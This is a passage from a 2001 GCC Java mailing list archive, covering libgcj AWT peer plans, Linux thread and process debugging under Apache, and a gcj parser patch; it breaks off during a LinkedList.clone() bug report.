AWT exists already. How buggy it is we don't know, but I'd assume very buggy. The various text Java widgets don't yet exist. GridBagLayout hasn't been started. A lot of the post-1.1 AWT code has not been written (there's a lot of it, too). The peers don't exist. I think if we had working peers then we could start debugging everything. Bryce started some Gtk peers which use CNI and which are derived from the JNI Classpath Gtk peers. However, there isn't much code there. Per> Is anybody working on this code? Not actively. I check in some new code about every three months. Last time was April, so I'm about due :-) Tom From java-return-6450-listarch-java=gcc.gnu.org@gcc.gnu.org Thu Jul 12 23:35:49 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 23381 invoked by alias); 12 Jul 2001 23:35:48 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 23360 invoked from network); 12 Jul 2001 23:35:48 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 12 Jul 2001 23:35:48 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 777565; Thu, 12 Jul 2001 16:39:17 -0700 Message-ID: <3B4E3492.5A8E0BDB@wireless-networks.com> Date: Thu, 12 Jul 2001 16:36:50 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: tromey@redhat.com CC: Per Bothner , java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom Tromey wrote: > The peers don't exist. I think if we had working peers then we could > start debugging everything. Bryce started some Gtk peers which use > CNI and which are derived from the JNI Classpath Gtk peers. However, > there isn't much code there. And what about xlib peers? http://www.ii.uib.no/~rolfwr/jcnix/ looks very cool! Cedric From java-return-6451-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 00:17:34 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4324 invoked by alias); 13 Jul 2001 00:17:33 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4304 invoked from network); 13 Jul 2001 00:17:33 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 00:17:33 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6D0KUP21790; Thu, 12 Jul 2001 17:20:30 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: java-discuss@sources.redhat.com Subject: debugging threads vs processes From: Per Bothner Date: 12 Jul 2001 17:20:29 -0700 Message-ID: Lines: 51 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii (Slightly off-topic, I admit ...) I'm trying to debug Java modules loaded into Apache 2. Thing seem to work ok with the "prefork" module, but when I configure Apache with the "threaded" module I can only "reload" a few dozen times before the server freezes. While trying to figure out what is going on, I'm getting a bit confused wrt process ids vs thread ids. One problem is how I can get a list of running processes vs threads? On my RedHat 7.1 (Pentium3) ps -m says "Thread display not implemented." My impression is that both ps and top list all threads, not just all processes. This is my conclusion from looking at various 'top' displays which show a bunch of "processes" using more memory in lock-step, which only seems plausible of these "processes" are actually threads in the same process. But it sure would be nice to have a way of showing threads vs processes more clearly. Another confusing thing is that getpid seems to return s thread id, not a process id. What leads me to believe this is the following debug output from running Apache: (Each line results from one request to the server from the browser.) handle: text/html, pid:16694,prev:0, created:0 handle: text/html, pid:16694,prev:16694, created:1 handle: text/html, pid:16694,prev:16694, created:1 handle: text/html, pid:16697,prev:16694, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 handle: text/html, pid:16697,prev:16697, created:1 The pid field is the result of getpid(), the prev field is the value saved by the last request in a static variable. ps -H claims that 16694 and 16697 are siblings, not parent/child. But then how can 16697 remember a static value set by 16694? Unless they are two threads in the same process, in which case getpid is returning the thread id, rather than a process id. Does someone on this list understand Linux threads enough to explain what is going on and/or suggest useful debugging tools? -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6452-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 00:32:53 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 9163 invoked by alias); 13 Jul 2001 00:32:52 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9138 invoked from network); 13 Jul 2001 00:32:51 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 00:32:51 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 777694; Thu, 12 Jul 2001 17:36:16 -0700 Message-ID: <3B4E41EC.4744EB29@wireless-networks.com> Date: Thu, 12 Jul 2001 17:33:48 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Per Bothner CC: java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Per Bothner wrote: > One problem is how I can get a list of running processes vs threads? > On my RedHat 7.1 (Pentium3) ps -m says "Thread display not > implemented." My impression is that both ps and top > list all threads, not just all processes. This is my > conclusion from looking at various 'top' displays which show > a bunch of "processes" using more memory in lock-step, > which only seems plausible of these "processes" are > actually threads in the same process. But it sure would be > nice to have a way of showing threads vs processes more clearly. > > Another confusing thing is that getpid seems to return s thread id, > not a process id. Unfortunately, under Linux, as you saw, a thread is a just a process that shares some characteristics with other "processes" (like VM) Both threads and processes can be created by the clone() system call. (clone = fork with more options) This thread/process stuff is a major pain, and the main reason why I like better running java applications under Solaris/X86 :( Cedric From java-return-6453-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 00:40:38 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 12054 invoked by alias); 13 Jul 2001 00:40:37 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 12034 invoked from network); 13 Jul 2001 00:40:37 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 13 Jul 2001 00:40:37 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15Kr0U-0006nB-00 for ; Fri, 13 Jul 2001 01:40:34 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Fri, 13 Jul 2001 01:42:34 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Fri, 13 Jul 2001 01:35:52 +0100 From: "Nic Ferrier" To: per@bothner.com, java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Per Bothner 13-Jul-01 1:20:29 AM >>> Does someone on this list understand Linux threads enough to explain what is going on and/or suggest useful debugging tools? I understand them a bit, enough I think to explain what's going on. I apologise if this is not technical enough for you. Linux threads are light weight processes. One creates them with the clone() system call which does almost exactly the same as fork. In effect they are created exactly the same as processes. One problem is how I can get a list of running processes vs threads? I'm not sure that's possible except through your app. The pid field is the result of getpid(), the prev field is the value saved by the last request in a static variable. ps -H claims that 16694 and 16697 are siblings, not parent/child. But then how can 16697 remember a static value set by 16694? Unless they are two threads in the same process, in which case getpid is returning the thread id, rather than a process id. Got me there. Are they both talking back to the data stored in the parent? Nic From java-return-6454-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 00:44:42 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13171 invoked by alias); 13 Jul 2001 00:44:40 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13149 invoked from network); 13 Jul 2001 00:44:38 -0000 Received: from unknown (HELO poboxer.pobox.com) (199.199.248.19) by sourceware.cygnus.com with SMTP; 13 Jul 2001 00:44:38 -0000 Received: from spanky.love.edu.love.edu (spanky.love.edu [172.30.0.35]) by poboxer.pobox.com (8.9.3/8.9.3) with ESMTP id TAA19270; Thu, 12 Jul 2001 19:41:06 -0500 From: Tony Kimball MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15182.17533.480589.623458@spanky.love.edu> Date: Thu, 12 Jul 2001 19:44:45 -0500 X-Face: \h9Jg:Cuivl4S*UP-)gO.6O=T]]@ncM*tn4zG);)lk#4|lqEx=*talx?.Gk,dMQU2)ptPC17cpBzm(l'M|H8BUF1&]dDCxZ.c~Wy6-j,^V1E(NtX$FpkkdnJixsJHE95JlhO 5\M3jh'YiO7KPCn0~W`Ro44_TB@&JuuqRqgPL'0/{):7rU-%.*@/>q?1&Ed Reply-To: alk@pobox.com To: per@bothner.com Cc: java-discuss@sources.redhat.com Subject: debugging threads vs processes References: X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Quoth Per Bothner on , 12 July: : : Does someone on this list understand Linux threads enough to explain : what is going on and/or suggest useful debugging tools? See man clone(2) -- linux threads get a process table slot. In gdb, 'inf thr' and 'thr' commands get me by, although I'd love to know a better way. From java-return-6455-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 00:47:00 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14930 invoked by alias); 13 Jul 2001 00:47:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14901 invoked from network); 13 Jul 2001 00:46:59 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 00:46:59 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6D0nrt01691; Thu, 12 Jul 2001 17:49:53 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: Cedric Berger Cc: rolfwr@ii.uib.no, java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> From: Per Bothner Date: 12 Jul 2001 17:49:53 -0700 In-Reply-To: <3B4E3492.5A8E0BDB@wireless-networks.com> Message-ID: Lines: 50 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cedric Berger writes: > And what about xlib peers? > http://www.ii.uib.no/~rolfwr/jcnix/ > looks very cool! Well, judging from that web-site, perhaps the xlib peers are further along than the gtk peers ... There are advantages in doing xlib peers (first): * Less overhead. * No LGPL licensing issues. * Possibly less of a learning hurdle - don't need to understand Gnome, only xlib, which is at least in principle simpler. * More compatible with the Swing model, using light-weight components where most of the code including look-and-feel are written in Java. * Isolated from Gnome bugs and "impedance mismatch" and Gnome1 vs Gnome2 instability. * Not dependent on Gnome libraries, which can be a pain to install if they're not already installed. * Plus Rolf seems to have gotten a lot done! There are also advantages in concentrating on Gnome first: * Higher level abstracting means lot of the work is already done. Re-inventing the wheel is not my idea of fun. * Better look-and-feel integration with Gnome. * Changing Gnome themes changes Jawa themes. On the whole it seems that going with xlib is worth pursuing. Some things to keep in mind for (future) Gnome integration: * Being able to embed Gnome widgets in Java windows, both with and without Bonobo. * Being able to have Gnome objects write on canvases created by Java. * Perhaps implementing Java2D using Pango and other Gnome libraries. * If/when we get Java theming there should be a way to use Gnome themes. When running under Gnome, the default Java theme should be the current Gnome theme. Perhaps Ximian's "meta-theme" framework can help. Or perhaps we will need to use Gnome widgets in some form. But there are problems for later. If we can get a workable AWT with most of the JDK1.1 functionality using the xlib peers (and it looks good so far), I think we should concentrate on that first. Rolf, any comments? Do you have any recent work you haven't checked in? Is there anything we need besides what's in CVS to try it out? -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6456-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 01:00:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22596 invoked by alias); 13 Jul 2001 01:00:47 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22574 invoked from network); 13 Jul 2001 01:00:45 -0000 Received: from unknown (HELO crewsoft.com) (157.22.214.1) by sourceware.cygnus.com with SMTP; 13 Jul 2001 01:00:45 -0000 Received: from [63.197.8.222] (account cberger@wireless-networks.com HELO wireless-networks.com) by crewsoft.com (CommuniGate Pro SMTP 3.4.7) with ESMTP id 777749; Thu, 12 Jul 2001 18:04:14 -0700 Message-ID: <3B4E487A.B97272F9@wireless-networks.com> Date: Thu, 12 Jul 2001 18:01:46 -0700 From: Cedric Berger X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Per Bothner CC: rolfwr@ii.uib.no, java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Per Bothner wrote: > On the whole it seems that going with xlib is worth pursuing. > Some things to keep in mind for (future) Gnome integration: > * Being able to embed Gnome widgets in Java windows, both with > and without Bonobo. > * Being able to have Gnome objects write on canvases created > by Java JDK 1.3 (and 1.4 is better) define an API for doing that: http://java.sun.com/j2se/1.3/docs/guide/awt/AWT_Native_Interface.html Maybee it would be a good idea to follow it. > * Perhaps implementing Java2D using Pango and other Gnome libraries. > * If/when we get Java theming there should be a way to use Gnome > themes. When running under Gnome, the default Java theme should > be the current Gnome theme. Perhaps Ximian's "meta-theme" framework > can help. Or perhaps we will need to use Gnome widgets in some form. Yes (but this mostly a Swing issue, I believe) > But there are problems for later. If we can get a workable AWT > with most of the JDK1.1 functionality using the xlib peers (and > it looks good so far), I think we should concentrate on that first. Yes, that would be great! Even without the AWT "widgets" it would be a great step forward! (who uses awt widgets today anyway?) Cedric From java-return-6457-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 01:12:15 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 26228 invoked by alias); 13 Jul 2001 01:12:14 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 26206 invoked from network); 13 Jul 2001 01:12:13 -0000 Received: from unknown (HELO smtp.networkusa.net) (216.162.106.18) by sourceware.cygnus.com with SMTP; 13 Jul 2001 01:12:13 -0000 Received: from gao-2001.stlouis.mo.us (p-91.valuenet.net [216.15.147.96]) by smtp.networkusa.net (8.9.3/8.9.3) with ESMTP id TAA23012 for ; Thu, 12 Jul 2001 19:33:54 -0500 Subject: Re: debugging threads vs processes From: Weiqi Gao To: java-discuss@sources.redhat.com In-Reply-To: References: Content-Type: text/plain X-Mailer: Evolution/0.10 (Preview Release) Date: 12 Jul 2001 20:13:19 -0500 Message-Id: <994986803.19345.0.camel@gao-2001.stlouis.mo.us> Mime-Version: 1.0 On 12 Jul 2001 17:20:29 -0700, Per Bothner wrote: > > (Slightly off-topic, I admit ...) > > I'm trying to debug Java modules loaded into Apache 2. > Thing seem to work ok with the "prefork" module, but when > I configure Apache with the "threaded" module I can only > "reload" a few dozen times before the server freezes. > While trying to figure out what is going on, I'm getting > a bit confused wrt process ids vs thread ids. The LinuxThread pthreads implementation (bundled with glibc on Red Hat 5, 6, 7) uses slots in the process table to record threads. The results of ps and top listings are a consequence of this. Another consequence is that creating too many Java threads will fill up the process table. > One problem is how I can get a list of running processes vs threads? > On my RedHat 7.1 (Pentium3) ps -m says "Thread display not > implemented." My impression is that both ps and top > list all threads, not just all processes. This is my > conclusion from looking at various 'top' displays which show > a bunch of "processes" using more memory in lock-step, > which only seems plausible of these "processes" are > actually threads in the same process. But it sure would be > nice to have a way of showing threads vs processes more clearly. > > Another confusing thing is that getpid seems to return s thread id, > not a process id. What leads me to believe this is the following > debug output from running Apache: (Each line results from one request > to the server from the browser.) > > handle: text/html, pid:16694,prev:0, created:0 > handle: text/html, pid:16694,prev:16694, created:1 > handle: text/html, pid:16694,prev:16694, created:1 > handle: text/html, pid:16697,prev:16694, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > handle: text/html, pid:16697,prev:16697, created:1 > > The pid field is the result of getpid(), the prev field is the value > saved by the last request in a static variable. ps -H claims that > 16694 and 16697 are siblings, not parent/child. But then how can > 16697 remember a static value set by 16694? Unless they are two > threads in the same process, in which case getpid is returning the > thread id, rather than a process id. > > Does someone on this list understand Linux threads enough to explain > what is going on and/or suggest useful debugging tools? Nathan Meyers' book Java Programming on Linux gives several suggestions for distinguishing threads from processes: "... The short answer is that you can't." Hints: + Identical memory size. + /proc//maps are identical for threads from the same process. + /proc//status report identical values for all the Vm* fields. + /proc//environ match, /proc//fds/ match. -- Weiqi Gao weiqigao@networkusa.net From java-return-6458-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 02:16:58 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7369 invoked by alias); 13 Jul 2001 02:16:58 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7312 invoked from network); 13 Jul 2001 02:16:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 13 Jul 2001 02:16:51 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA01778; Thu, 12 Jul 2001 20:16:27 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id UAA28156; Thu, 12 Jul 2001 20:39:34 -0600 To: martin.kahlert@infineon.com Cc: java@gcc.gnu.org Subject: Re: Some questions References: <20010712102137.A6000@keksy.muc.infineon.com> X-Zippy: I am having FUN... I wonder if it's NET FUN or GROSS FUN? X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 12 Jul 2001 20:39:33 -0600 In-Reply-To: Martin Kahlert's message of "Thu, 12 Jul 2001 10:21:37 +0200" Message-ID: <87itgxd02i.fsf@creche.redhat.com> Lines: 13 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Martin" == Martin Kahlert writes: Martin> The first question is: Why did Tromey's patch Martin> http://gcc.gnu.org/ml/java-patches/2001-q2/msg00405.html Martin> not make it into the release? Martin> It's not in the 20010709 snapshot, either. Martin> Since i am behind a firewall, that's all i can check, but i assume, Martin> it's inside the development branch. It is in the development branch, and will appear in gcc 3.1. I don't know whether it is important enough to fix in 3.0.1. Tom From java-return-6459-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 02:29:48 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 9066 invoked by alias); 13 Jul 2001 02:29:48 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 9043 invoked from network); 13 Jul 2001 02:29:48 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 13 Jul 2001 02:29:48 -0000 Received: from fencer.cygnus.com (fencer.cygnus.com [205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id TAA20070; Thu, 12 Jul 2001 19:29:32 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id TAA15399; Thu, 12 Jul 2001 19:29:32 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15182.23820.333508.519272@fencer.cygnus.com> Date: Thu, 12 Jul 2001 19:29:32 -0700 (PDT) To: Bryce McKinlay Cc: "Boehm, Hans" , "'Jeff Sturm'" , Per Bothner , tromey@redhat.com, Java Discuss List Subject: Re: Applications In-Reply-To: <3AB6ED76.CDEF22D7@albatross.co.nz> References: <140D21516EC2D3119EE7009027876644049B5CDB@hplex1.hpl.hp.com> <3AB6ED76.CDEF22D7@albatross.co.nz> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Is this the line for the latest whimsical YUGOSLAVIAN drama which also makes you want to CRY and reconsider the VIETNAM WAR? Bryce McKinlay writes: > But the TestCR crashes. Seems it gets stuck in an infinate loop > between these two calls: I'm just about to test this patch. So what was the idea? Defining a set of applications which execution would test the compiler from regressions? A we reached conclusion? Or was it for the 3.0? ./A 2001-07-12 Alexandre Petit-Bianco * parse.y (patch_method_invocation): `new_this_arg' is a copy of `this_arg'. Use it when calling maybe_use_access_method. Fixed comment. Index: parse.y =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/parse.y,v retrieving revision 1.295 diff -u -p -r1.295 parse.y --- parse.y 2001/07/12 21:36:43 1.295 +++ parse.y 2001/07/13 02:22:33 @@ -10013,7 +10019,8 @@ patch_method_invocation (patch, primary, args = nreverse (args); if (TREE_CODE (patch) != NEW_CLASS_EXPR) { - this_arg = primary ? primary : current_this; + tree new_this_arg; + new_this_arg = this_arg = primary ? primary : current_this; /* If we're using an access method, things are different. There are two familly of cases: @@ -10030,7 +10037,7 @@ patch_method_invocation (patch, primary, - LIST is non static. It's invocation is transformed from x(a1,....,an) into access$(this$,a1,...,an). - LIST is static. It's invocation is transformed from - x(a1,....,an) into TYPEOF(this$).x(a1,....an). + x(a1,....,an) into TYPE_OF(this$).x(a1,....an). Of course, this$ can be abitrary complex, ranging from this$0 (the immediate outer context) to @@ -10040,9 +10047,9 @@ patch_method_invocation (patch, primary, this_arg has to be moved into the (then generated) stub argument list. In the meantime, the selected function might have be replaced by a generated stub. */ - if (maybe_use_access_method (is_super_init, &list, &this_arg)) + if (maybe_use_access_method (is_super_init, &list, &new_this_arg)) { - args = tree_cons (NULL_TREE, this_arg, args); + args = tree_cons (NULL_TREE, new_this_arg, args); this_arg = NULL_TREE; /* So it doesn't get chained twice */ } } From java-return-6460-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 02:56:36 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4001 invoked by alias); 13 Jul 2001 02:56:33 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3849 invoked from network); 13 Jul 2001 02:56:32 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 13 Jul 2001 02:56:32 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f6D2xRE23692; Thu, 12 Jul 2001 19:59:27 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: "Nic Ferrier" Cc: per@bothner.com, java-discuss@sources.redhat.com Subject: Re: debugging threads vs processes References: From: Per Bothner Date: 12 Jul 2001 19:59:27 -0700 In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Thanks to everybody who responded! I still have no idea why the server is crashing (possibly some weird interaction between Apache's use of threads and Java's use of threads?), but my confusion is now at a higher plane of enlightenment! "Nic Ferrier" writes: > The pid field is the result of getpid(), the prev field > is the value saved by the last request in a static > variable. ps -H claims that 16694 and 16697 are > siblings, not parent/child. But then how can 16697 > remember a static value set by 16694? Unless they > are two threads in the same process, in which case > getpid is returning the thread id, rather than a process id. > > Got me there. Are they both talking back to the data stored in the > parent? Presumably getpid is actually returning thread id (given that you can't tell them apart) so 16694 and 16697 are actually two threads in the same process. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6461-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 02:59:03 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 7538 invoked by alias); 13 Jul 2001 02:59:00 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 7503 invoked from network); 13 Jul 2001 02:58:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sourceware.cygnus.com with SMTP; 13 Jul 2001 02:58:58 -0000 Received: from creche.cygnus.com (tq0146.peakpeak.com [207.174.177.146]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA05652; Thu, 12 Jul 2001 20:56:10 -0600 Received: (from tromey@localhost) by creche.cygnus.com (8.9.3/8.9.3) id VAA16886; Thu, 12 Jul 2001 21:19:24 -0600 To: Cedric Berger Cc: Per Bothner , rolfwr@ii.uib.no, java-discuss@sources.redhat.com Subject: Re: what is the state of awt in lingcj? References: <87lmltd8f6.fsf@creche.redhat.com> <3B4E3492.5A8E0BDB@wireless-networks.com> <3B4E487A.B97272F9@wireless-networks.com> X-Zippy: WHOA!! I'm having a RELIGIOUS EXPERIENCE right NOW!! X-Attribution: Tom Reply-To: tromey@redhat.com From: Tom Tromey Date: 12 Jul 2001 21:19:23 -0600 In-Reply-To: Cedric Berger's message of "Thu, 12 Jul 2001 18:01:46 -0700" Message-ID: <87itgxzfb8.fsf@creche.redhat.com> Lines: 7 X-Mailer: Gnus v5.7/Emacs 20.5 >>>>> "Cedric" == Cedric Berger writes: Cedric> (who uses awt widgets today anyway?) Yahoo Games. Tom From java-return-6462-listarch-java=gcc.gnu.org@gcc.gnu.org Fri Jul 13 03:20:47 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14035 invoked by alias); 13 Jul 2001 03:20:46 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13997 invoked from network); 13 Jul 2001 03:20:44 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 13 Jul 2001 03:20:44 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f6D3MhW05764; Fri, 13 Jul 2001 15:22:43 +1200 Message-ID: <3B4E69E0.2F216BA4@waitaki.otago.ac.nz> Date: Fri, 13 Jul 2001 15:24:16 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Brad Fitzpatrick CC: java@gcc.gnu.org Subject: Re: LinkedList.clone() bug References: <0be001c10a8d$6d073560$0c00000a@pepper> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Brad Fitzpatrick wrote: > When testing my project built with gcj I found the output was different from > the jar I'd built with Blackdown's bytecode compiler. I traced it down to a > minor bug in the gcj java library, as illustrated by this test case: [...] > Possible Patch .... > > --- gcc-3.0/libjava/java/util/LinkedList.java.orig Wed Jul 11 20:50:47 2001 > +++ 